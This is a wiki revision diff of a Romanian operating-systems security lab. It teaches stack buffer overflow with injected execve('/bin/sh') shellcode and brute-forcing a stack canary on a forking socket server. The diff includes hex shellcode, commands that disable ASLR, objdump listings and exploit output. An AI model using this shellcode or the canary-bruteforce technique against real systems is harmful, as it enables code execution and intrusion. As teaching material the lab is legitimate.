- | Insert message (less than 32 bytes): aaa | + | $ echo -e '\x48\x31\xd2\x48\xbb\xff\x2f\x62\x69\x6e\x2f\x73\x68\x48\xc1\xeb\x08\x53\x48\x89\xe7\x48\x31\xc0\x50\x57\x48\x89\xe6\xb0\x3b\x0f\x05' | strace -e execve ./inject-shellcode |
- | buffer address: 0xffef6ad0 | + | execve("./inject-shellcode", ["./inject-shellcode"], 0x7fff2ff13cc0 /* 37 vars */) = 0 |
- | + | execve("/bin/sh", ["/bin/sh"], NULL) = 0 | |
- | Read 4 bytes from standard input. | + | +++ exited with 0 +++ |
</code> | </code> | ||
- | Observăm că bufferul are la fiecare rulare altă adresă. Putem folosi brute forcing, dar durează. | ||
- | Pentru scopuri didactice vom dezactiva suportul de ASLR folosind comanda<code bash> | + | <note tip> |
- | echo 0 | sudo tee /proc/sys/kernel/randomize_va_space | + | Dacă dorim să menținem standard input-ul activ după rularea comenzii ''echo'' și să rulăm comenzi în shell-ul nou creat, folosim o comandă precum cea de mai jos: |
+ | <code> | ||
+ | $ cat <(echo -e '\x48\x31\xd2\x48\xbb\xff\x2f\x62\x69\x6e\x2f\x73\x68\x48\xc1\xeb\x08\x53\x48\x89\xe7\x48\x31\xc0\x50\x57\x48\x89\xe6\xb0\x3b\x0f\x05') - | ./inject-shellcode | ||
+ | ls | ||
+ | Makefile inject-shellcode inject-shellcode-32.o inject-shellcode.o run-shellcode-32 run-shellcode.c shellcode-32.asm shellcode.asm shellcode.o | ||
+ | Makefile.shellcode inject-shellcode-32 inject-shellcode.c run-shellcode run-shellcode-32.o run-shellcode.o shellcode-32.bin shellcode.bin shellcode.s | ||
+ | exit | ||
</code> | </code> | ||
+ | </note> | ||
- | Acum vom avea aceeași adresă a buffer-ului la multiple rulări ale executabilului ''run-shellcode'':<code bash> | + | Atacul funcționează pentru că dezactivat DEP pentru zonele de date ale procesului creat folosind opțiunea de linker ''-z execstack''. Dacă generăm un fișier executabil fără această opțiune, acesta va eșua să ruleze shellcode-ul și se va genera excepție de acces la memorie: |
- | user@host:~$ ./run-shellcode | + | <code> |
- | Insert message (less than 32 bytes): aaa | + | $ gcc -o inject-shellcode-dep inject-shellcode.c |
- | buffer address: 0xffffd2b0 | + | |
- | + | ||
- | Read 4 bytes from standard input. | + | |
- | user@host:~$ ./run-shellcode | + | $ echo -e '\x48\x31\xd2\x48\xbb\xff\x2f\x62\x69\x6e\x2f\x73\x68\x48\xc1\xeb\x08\x53\x48\x89\xe7\x48\x31\xc0\x50\x57\x48\x89\xe6\xb0\x3b\x0f\x05' | ./inject-shellcode-dep |
- | Insert message (less than 32 bytes): aaa | + | Segmentation fault (core dumped) |
- | buffer address: 0xffffd2b0 | + | |
- | Read 4 bytes from standard input. | + | $ dmesg |
+ | [2584266.553494] inject-shellcod[28689]: segfault at 55c1fa5f4040 ip 000055c1fa5f4040 sp 00007fff25d0d518 error 15 in inject-shellcode-dep[55c1fa5f4000+1000] | ||
</code> | </code> | ||
- | Adresa buffer-ului va fi adresa shellcode-ului pentru că vom scrie shellcode-ul chiar în buffer. Ceea ce înseamnă că vom suprascrie adresa de retur a funcției ''read_data'' cu adresa buffer-ului adică cu octeții ''\xb0'', ''\xd2'', ''\xff'', ''\xff''. | + | Codul de eroare pentru //segmentation fault// este 15, adică acces de execuție la o adresă validă care nu are permisiuni de execuție. |
- | Ținem cont că trebuie să scriem 44 de caractere de orice fel și apoi să scriem acei octeți. Din acele 44 de caractere de orice fel primele trebuie să fie chiar shellcode-ul, adică șirul ''\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x50\x53\x89\xe1\x31\xd2\xb0\x0b\xcd\x80''. Shellcode-ul are 25 de octeți. Vom scrie așadar în buffer: | + | ==== Atacarea SSP ==== |
- | - shellcode-ul: 25 de octeți | + | |
- | - payload (adică 44-25=19 caractere, vom folosi caracterul ''A'') | + | |
- | - octeții ''\xb0'', ''\xd2'', ''\xff'', ''\xff'' reprezentând adresa de start a bufferului, adică începutul shellcode-ului | + | |
- | Vom folosi, ca și mai devreme, python pentru a scrie informațiile de mai sus în buffer:<code bash> | + | Dorim să atacăm mecanismul defensiv //Stack Smashing Protection// (SSP) menționat mai sus. Pentru aceasta accesăm subdirectorul ''socket-ssp/'' care creează un fork-based server, adică un server ce creează un proces pentru fiecare conexiune; această particularitate ne permite atacarea SSP permițându-ne suprascrierea adresei de retur. |
- | user@host:~$ python -c 'print "\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x50\x53\x89\xe1\x31\xd2\xb0\x0b\xcd\x80" + 19*"A" + "\xb0\xd2\xff\xff"' | ./run-shellcode | + | |
- | Insert message (less than 32 bytes): buffer address: 0xffffd2b0 | + | |
- | </code> | + | |
- | + | ||
- | La fel ca mai sus nu se generează un prompt de shell pentru că se închide intrarea standard. Dar putem folosi ''strace'' ca să vedem că se apelează ''execve'' și se creează un proces shell:<code bash> | + | |
- | user@host:~$ python -c 'print "\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x50\x53\x89\xe1\x31\xd2\xb0\x0b\xcd\x80" + 19*"A" + "\xb0\xd2\xff\xff"' | strace -e execve ./run-shellcode | + | |
- | execve("./run-shellcode", ["./run-shellcode"], [/* 41 vars */]) = 0 | + | |
- | [ Process PID=24236 runs in 32 bit mode. ] | + | |
- | Insert message (less than 32 bytes): buffer address: 0xffffd2b0 | + | |
- | execve("/bin//sh", ["/bin//sh"], [/* 0 vars */]) = 0 | + | |
- | [ Process PID=24236 runs in 64 bit mode. ] | + | |
- | </code> | + | |
- | + | ||
- | În acest fel am executat o formă clasică de stack buffer overflow cu injectare de cod (shellcode) pe stivă. Shellcode-ul a fost scris pe stivă și apoi am suprascris adresa de retur a funcției cu adresa de început a shellcode-ului, adică adresa buffer-ului. Rezultatul a fost crearea unui proces shell prin invocarea apelului de sistem ''execve'' codificat în shellcode. | + | |
- | + | ||
- | Pentru a realiza acest lucru am dezactivat mecanismele de protecție din Linux: | + | |
- | * Am dezactivat stack protector/canary value prin opțiunea ''-fno-stack-protector'' la compilare. | + | |
- | * Am permis ca stiva să fie executabilă prin opțiunea ''-z execstack'' la link-editare. | + | |
- | * Am dezactivat suportul de ASLR prin scrierea în fișierul ''/proc/sys/kernel/randomize_va_space''. | + | |
- | + | ||
- | Atacurile reale trebuie să țină cont de aceste mecanisme de protecție care sunt comune pe sistemele de operare moderne. Din acest motiv atacurile sunt dificil de realizat (dar nu imposibil), lucru care face selectă populația celor care sunt capabili să genereze atacuri de exploatare a vulnerabilităților memoriei. | + | |
- | + | ||
- | ==== Atacarea Stack Smashing Protection (SSP) ==== | + | |
- | + | ||
- | Dorim să atacăm mecanismul defensiv //Stack Smashing Protection// (SSP) care presupune plasarea unei valori predefinite pe stivă (numită //stack canary// sau //stack guard//) care detectează atacurile asupra vulnerabilităților de tip buffer overflow ce ar suprasscrie addresa de retur. Pentru aceasta accesăm subdirectorul ''socket-ssp/'' care creează un fork-based server, adică un server ce creează un proces pentru fiecare conexiune; această particularitate ne permite atacarea SSP permițându-ne suprascrierea adresei de retur. | + | |
Urmărim conținutul fișierului ''socket_ssp.c''. În acest fișier în funcția ''main()'' se creează un server socket și se acceptă conexiuni de tratarea cărora se ocupă un proces copil. În funcția ''process_client()'' se apelează funcția ''actual_func()''. Obiectivul nostru este să exploatăm vulnerabilitatea de tip buffer-overflow din funcția ''process_client()'' pentru a suprascrie adresa de retur și a apela funcția ''inject_func()''. | Urmărim conținutul fișierului ''socket_ssp.c''. În acest fișier în funcția ''main()'' se creează un server socket și se acceptă conexiuni de tratarea cărora se ocupă un proces copil. În funcția ''process_client()'' se apelează funcția ''actual_func()''. Obiectivul nostru este să exploatăm vulnerabilitatea de tip buffer-overflow din funcția ''process_client()'' pentru a suprascrie adresa de retur și a apela funcția ''inject_func()''. | ||
Line 629: | Line 395: | ||
Programul este compilat cu suport de //Stack Smashing Protection// care plasează stack canary pe stivă în funcția ''process_client()''. Opțiunea de compilare ''-fstack-protector'' este adăugată în fișierul ''Makefile'': | Programul este compilat cu suport de //Stack Smashing Protection// care plasează stack canary pe stivă în funcția ''process_client()''. Opțiunea de compilare ''-fstack-protector'' este adăugată în fișierul ''Makefile'': | ||
<code> | <code> | ||
- | CFLAGS = -Wall -Wextra -g -fstack-protector -fno-PIC | + | CFLAGS = -Wall -Wextra -Wno-unused-function -g -fstack-protector -fno-PIC |
</code> | </code> | ||
- | Compilăm programul (ignorăm warning-ul că funcția ''inject_func()'' nu este apelată, e utilă pentru atacul nostru): | + | <note warning> |
- | <code> | + | **Nu** folosiți comanda ''make'' pentru a regenera executabilul ''socket_ssp''. O nouă compilare va afecta codul generat și payload-ul de exploit din acest demo nu va mai funcționa. |
- | $ make | + | </note> |
- | cc -Wall -Wextra -g -fstack-protector -fno-PIC -I../utils -c -o socket_ssp.o socket_ssp.c | + | |
- | socket_ssp.c:27:13: warning: ‘inject_func’ defined but not used [-Wunused-function] | + | |
- | static void inject_func(void) | + | |
- | ^~~~~~~~~~~ | + | |
- | cc -no-pie socket_ssp.o -o socket_ssp | + | |
- | </code> | + | |
- | și observăm prezența stack canary pe stivă la adresa ''rbp-0x8'' (în cazul nostru), poate fi altundeva în cazul vostru: | + | |
- | <code> | + | |
- | $ objdump -d -M intel socket_ssp | grep -A 6 '<process_client>:' | + | |
- | 00000000004009c3 <process_client>: | + | |
- | 4009c3: 55 push rbp | + | |
- | 4009c4: 48 89 e5 mov rbp,rsp | + | |
- | 4009c7: 48 83 ec 20 sub rsp,0x20 | + | |
- | 4009cb: 64 48 8b 04 25 28 00 mov rax,QWORD PTR fs:0x28 | + | |
- | 4009d2: 00 00 | + | |
- | 4009d4: 48 89 45 f8 mov QWORD PTR [rbp-0x8],rax | + | |
- | </code> | + | |
- | În realizarea atacului, ținem cont că la ''fork()'' (modul de tratare a conexiunilor în implementarea ''socket_ssp.c'') se păstrează spațiul de adresă al procesului, se vor păstra și stack canary. Așa că le putem suprascrie din clientul TCP octet cu octet până nimerim. Când nimerim programul nu va genera eroare de tipul //stack smashing detection//. Se va încheia cu succes, va întoarce mesaj pe rețea și atunci știm că am nimerit octetul și trecem la următorul. | + | Pentru a exploata acest program, pașii sunt similari cu exploatarea vulnerabilității de tip buffer overflow din subdirectorul ''buffer-overflow/''. Va trebui să aflăm: |
+ | * care este adresa funcției ''inject_func''; această valoare va suprascrie adresa de retur | ||
+ | * care este offset-ul buffer-ului față de adresa de retur | ||
+ | * care este offset-ul //stack canary// pe stivă față de buffer | ||
- | Atacul este descris în fișierul ''exploit.py''. Pentru a reuși trebuie să știm offset-ul dintre buffer și stack canary și adresa funcției ''inject_func()''. Ambele pot fi obținute prin dezasamblarea codului, identificarea construcției ce referă buffer-ul, valoarea stack canary și adresa funcției ''inject_func()''. | + | Pentru a afla aceste informații, folosim analiză statică. Dezasamblăm exeuctabilul ''socket_ssp'' folosind ''objdump'': |
+ | <code> | ||
+ | $ objdump -d -M intel socket_ssp | ||
+ | [...] | ||
+ | 00000000004009a5 <inject_func>: | ||
+ | [...] | ||
- | De exemplu, pentru a identifica adresa buffer-ului și a stack canary urmărim dezasamblarea funcției ''process_client()'': | ||
- | <code> | ||
- | $ objdump -d -M intel socket_ssp | grep -A 21 '<process_client>:' | ||
00000000004009c3 <process_client>: | 00000000004009c3 <process_client>: | ||
4009c3: 55 push rbp | 4009c3: 55 push rbp | ||
Line 665: | Line 419: | ||
4009c7: 48 83 ec 20 sub rsp,0x20 | 4009c7: 48 83 ec 20 sub rsp,0x20 | ||
4009cb: 64 48 8b 04 25 28 00 mov rax,QWORD PTR fs:0x28 | 4009cb: 64 48 8b 04 25 28 00 mov rax,QWORD PTR fs:0x28 | ||
- | 4009d2: 00 00 | + | 4009d2: 00 00 |
4009d4: 48 89 45 f8 mov QWORD PTR [rbp-0x8],rax | 4009d4: 48 89 45 f8 mov QWORD PTR [rbp-0x8],rax | ||
4009d8: 31 c0 xor eax,eax | 4009d8: 31 c0 xor eax,eax | ||
Line 674: | Line 428: | ||
4009ec: 89 c7 mov edi,eax | 4009ec: 89 c7 mov edi,eax | ||
4009ee: e8 0d fe ff ff call 400800 <read@plt> | 4009ee: e8 0d fe ff ff call 400800 <read@plt> | ||
- | 4009f3: 90 nop | + | [...] |
- | 4009f4: 48 8b 45 f8 mov rax,QWORD PTR [rbp-0x8] | + | |
- | 4009f8: 64 48 33 04 25 28 00 xor rax,QWORD PTR fs:0x28 | + | |
- | 4009ff: 00 00 | + | |
- | 400a01: 74 05 je 400a08 <process_client+0x45> | + | |
- | 400a03: e8 a8 fd ff ff call 4007b0 <__stack_chk_fail@plt> | + | |
- | 400a08: c9 leave | + | |
- | 400a09: c3 ret | + | |
</code> | </code> | ||
- | Adresa buffer-ului este ''rbp-0x20'', adresa stack canary este ''rbp-0x8'', deci ofsset-ul este ''0x20-0x8 = 0x18 = 24''. Este trecută această valoare în ''exploit.py'' | ||
- | Pentru a nu avea un executabil cu suport PIE (//Position Indenpendent Executable//) și pentru a avea adrese fixe pentru funcțiile din cadrul executabilului, am folosit opțiunile corespunzătoare la compilare și linking în ''Makefile'': | + | Din rezultatul dezasamblării extragem informațiile necesare: |
- | <code> | + | * adresa funcției ''inject_func'' este ''0x4009a5'' |
- | CFLAGS = -Wall -Wextra -g -fstack-protector -fno-PIC | + | * buffer-ul este la adresa ''rbp-0x20'' (argumentul apelului ''read'') |
- | LDFLAGS = -no-pie | + | * //stack canary// este plasată pe stivă la adresa ''rbp-0x8'' |
- | </code> | + | |
- | Adresa funcției ''inject_func()'' este fixă și o aflăm folosind ''objdump'': | + | Știm că adresa de retur se găsește pe stivă la adresa ''rbp+0x8''. |
- | <code> | + | |
- | $ objdump -d -M intel socket_ssp | grep '<inject_func>:' | + | În realizarea atacului, ținem cont că la ''fork()'' (modul de tratare a conexiunilor în implementarea ''socket_ssp.c'') se păstrează spațiul de adresă al procesului, se vor păstra și //stack canary//. Așa că le putem suprascrie din clientul TCP octet cu octet până nimerim valoarea acelui octet, conform algoritmului: \\ |
- | 00000000004009a5 <inject_func>: | + | 1. Creăm un mesaj care supascrie doar un octet din //canary value//: umplem spațiul de la buffer la //stack canary// și adăugăm un octet. \\ |
- | </code> | + | 2. Trimitem mesajul pe rețea. \\ |
- | La fel, adresa este trecută în ''exploit.py''. | + | 3. Dacă valoarea nu este cea corectă, procesul copil creat se va încheia cu segmentation fault și conexiune se va încheia. Dacă așa a fost, creștem valoarea cu 1 și încercăm din nou pasul 2. \\ |
+ | 3'. Când nimerim o valoare, programul nu va genera eroare de tipul //stack smashing detection//. Se va încheia cu succes, va întoarce mesaj pe rețea și atunci știm că am nimerit octetul și trecem la următorul.\\ | ||
+ | 4. O dată descoperit un nou octet, mărim mesajul cu un nou octet și trecem la pasul 2. | ||
- | Acum putem realiza atacul. Pornim serverul pe o consolă: | + | Atacul este descris în fișierul ''exploit.py''. Pentru a realiza atacul, avem nevoie de două console: una pe care pornim serverul și una pe care pornim exploit-ul care va crea clienți pentru server. Pornim serverul pe o consolă: |
<code> | <code> | ||
$ ./socket_ssp | $ ./socket_ssp | ||
Line 704: | Line 452: | ||
și atacul pe altă consolă. Atacul va dura să treacă prin toți octeții și să creeze un proces pentru fiecare socket. În final atacul va reuși și vom apela funcția ''inject_func()''. Un exemplu de atac este prezentat în fișierul ''result.txt'': | și atacul pe altă consolă. Atacul va dura să treacă prin toți octeții și să creeze un proces pentru fiecare socket. În final atacul va reuși și vom apela funcția ''inject_func()''. Un exemplu de atac este prezentat în fișierul ''result.txt'': | ||
<code> | <code> | ||
- | $ python exploit.py | + | $ python3 exploit.py |
Canary byte 0 is 0x00 | Canary byte 0 is 0x00 | ||
Canary byte 1 is 0x0c | Canary byte 1 is 0x0c | ||
Line 715: | Line 463: | ||
Exploit result: Called injected function. | Exploit result: Called injected function. | ||
</code> | </code> | ||
+ | |||
+ | <note> | ||
+ | La fiecare rulare a serverului ''socket_ssp'' valoarea //stack canary// diferă așa că rezultatul afișat de exploit (conținutul //stack canary//) va diferi de la rulare la rulare. | ||
+ | </note> | ||